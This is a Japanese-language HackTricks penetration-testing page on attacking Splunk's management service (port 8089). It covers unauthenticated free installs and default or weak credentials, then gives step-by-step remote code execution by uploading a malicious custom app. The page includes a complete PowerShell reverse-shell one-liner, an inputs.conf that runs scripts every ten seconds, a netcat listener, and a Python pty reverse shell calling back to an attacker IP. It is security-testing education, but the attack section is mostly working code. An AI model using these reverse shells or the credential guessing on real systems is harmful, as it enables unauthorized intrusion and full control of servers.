# 8089 - Pentesting Splunkd
{% hint style="success" %}
Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}
## **基本情報**
Splunkは、**データの収集、分析、可視化**において重要な役割を果たす**ログ分析ツール**です。その初期の目的は**SIEM(セキュリティ情報およびイベント管理)**ツールとして機能することではありませんでしたが、**セキュリティ監視**や**ビジネス分析**の分野で人気を博しています。
Splunkのデプロイメントは、**機密データ**を保存するために頻繁に利用され、システムを侵害することに成功した場合、潜在的な攻撃者にとって**貴重な情報源**となる可能性があります。**デフォルトポート:** 8089
```
PORT STATE SERVICE VERSION
8089/tcp open http Splunkd httpd
```
{% hint style="info" %}
**Splunkウェブサーバーはデフォルトでポート8000で実行されます**。
{% endhint %}
## 列挙
### 無料版
Splunk Enterpriseのトライアルは**60日後に無料版に変わります**。この**無料版は認証を必要としません**。システム管理者がSplunkのトライアルをインストールしてテストすることは珍しくなく、**その後忘れ去られることがあります**。これにより、認証のない無料版に自動的に変わり、環境にセキュリティホールが生じます。一部の組織は予算の制約から無料版を選択することがありますが、ユーザー/ロール管理がないことの影響を十分に理解していません。
### デフォルトの資格情報
古いバージョンのSplunkでは、デフォルトの資格情報は**`admin:changeme`**であり、ログインページに便利に表示されています。\
しかし、**最新のSplunkのバージョン**では、**インストールプロセス中に資格情報が設定されます**。デフォルトの資格情報が機能しない場合は、`admin`、`Welcome`、`Welcome1`、`Password123`などの一般的な弱いパスワードを確認する価値があります。
### 情報の取得
Splunkにログインすると、**データをブラウズ**したり、**レポートを実行**したり、**ダッシュボードを作成**したり、Splunkbaseライブラリから**アプリケーションをインストール**したり、カスタムアプリケーションをインストールしたりできます。\
また、コードを実行することもできます:Splunkには、サーバーサイドのDjangoアプリケーション、RESTエンドポイント、スクリプト入力、アラートスクリプトなど、**コードを実行するための複数の方法**があります。Splunkサーバーでリモートコード実行を得る一般的な方法は、スクリプト入力を使用することです。
さらに、SplunkはWindowsまたはLinuxホストにインストールできるため、Bash、PowerShell、またはBatchスクリプトを実行するためのスクリプト入力を作成できます。
### Shodan
* `Splunk build`
## RCE
### カスタムアプリケーションの作成
カスタムアプリケーションは**Python、Batch、Bash、またはPowerShellスクリプト**を実行できます。\
**SplunkにはPythonがインストールされている**ため、**Windows**システムでもPythonコードを実行できます。
[**こちら**](https://github.com/0xjpuff/reverse\_shell\_splunk)のSplunkパッケージを使用して支援できます。このリポジトリの**`bin`**ディレクトリには、[Python](https://github.com/0xjpuff/reverse\_shell\_splunk/blob/master/reverse\_shell\_splunk/bin/rev.py)と[PowerShell](https://github.com/0xjpuff/reverse\_shell\_splunk/blob/master/reverse\_shell\_splunk/bin/run.ps1)の例があります。これをステップバイステップで進めていきましょう。
これを達成するために、まず次のディレクトリ構造を使用してカスタムSplunkアプリケーションを作成する必要があります:
```shell-session
tree splunk_shell/
splunk_shell/
├── bin
└── default
```
**`bin`** ディレクトリには、私たちが実行することを意図した **スクリプト**(この場合、**PowerShell** リバースシェル)が含まれ、デフォルトのディレクトリには `inputs.conf` ファイルがあります。私たちのリバースシェルは **PowerShell ワンライナー** になります:
```powershell
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close(
```
[inputs.conf](https://docs.splunk.com/Documentation/Splunk/latest/Admin/Inputsconf) ファイルは、Splunk に **どのスクリプトを実行するか** およびその他の条件を指示します。ここでは、アプリを有効に設定し、Splunk にスクリプトを 10 秒ごとに実行するよう指示します。間隔は常に秒単位であり、この設定が存在する場合にのみ入力(スクリプト)が実行されます。
```shell-session
cat inputs.conf
[script://./bin/rev.py]
disabled = 0
interval = 10
sourcetype = shell
[script://.\bin\run.bat]
disabled = 0
sourcetype = shell
interval = 10
```
`.bat`ファイルが必要で、これはアプリケーションがデプロイされるときに実行され、PowerShellのワンライナーを実行します。
次のステップは、`Install app from file`を選択し、アプリケーションをアップロードすることです。
悪意のあるカスタムアプリをアップロードする前に、Netcatまたは[socat](https://linux.die.net/man/1/socat)を使用してリスナーを開始しましょう。
```shell-session
sudo nc -lnvp 443
listening on [any] 443 ...
```
`Upload app`ページで、ブラウズをクリックし、以前に作成したtarballを選択して`Upload`をクリックします。**アプリケーションをアップロードするとすぐに**、アプリケーションのステータスが自動的に`Enabled`に切り替わるため、**リバースシェルが受信されます**。
#### Linux
**Linuxホスト**を扱っている場合、カスタム悪意のあるアプリをtarballとして作成してアップロードする前に、**`rev.py` Pythonスクリプトを編集する必要があります**。残りのプロセスは同じで、Netcatリスナーでリバースシェル接続を取得し、すぐに進むことができます。
```python
import sys,socket,os,pty
ip="10.10.14.15"
port="443"
s=socket.socket()
s.connect((ip,int(port)))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn('/bin/bash')
```
### RCE & Privilege Escalation
以下のページでは、このサービスが特権を昇格させ、持続性を得るためにどのように悪用されるかの説明を見つけることができます:
{% content-ref url="../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md" %}
[splunk-lpe-and-persistence.md](../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md)
{% endcontent-ref %}
## References
* [https://academy.hackthebox.com/module/113/section/1213](https://academy.hackthebox.com/module/113/section/1213)
{% hint style="success" %}
AWSハッキングを学び、練習する:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
GCPハッキングを学び、練習する:[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
HackTricksをサポートする
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
{% endhint %}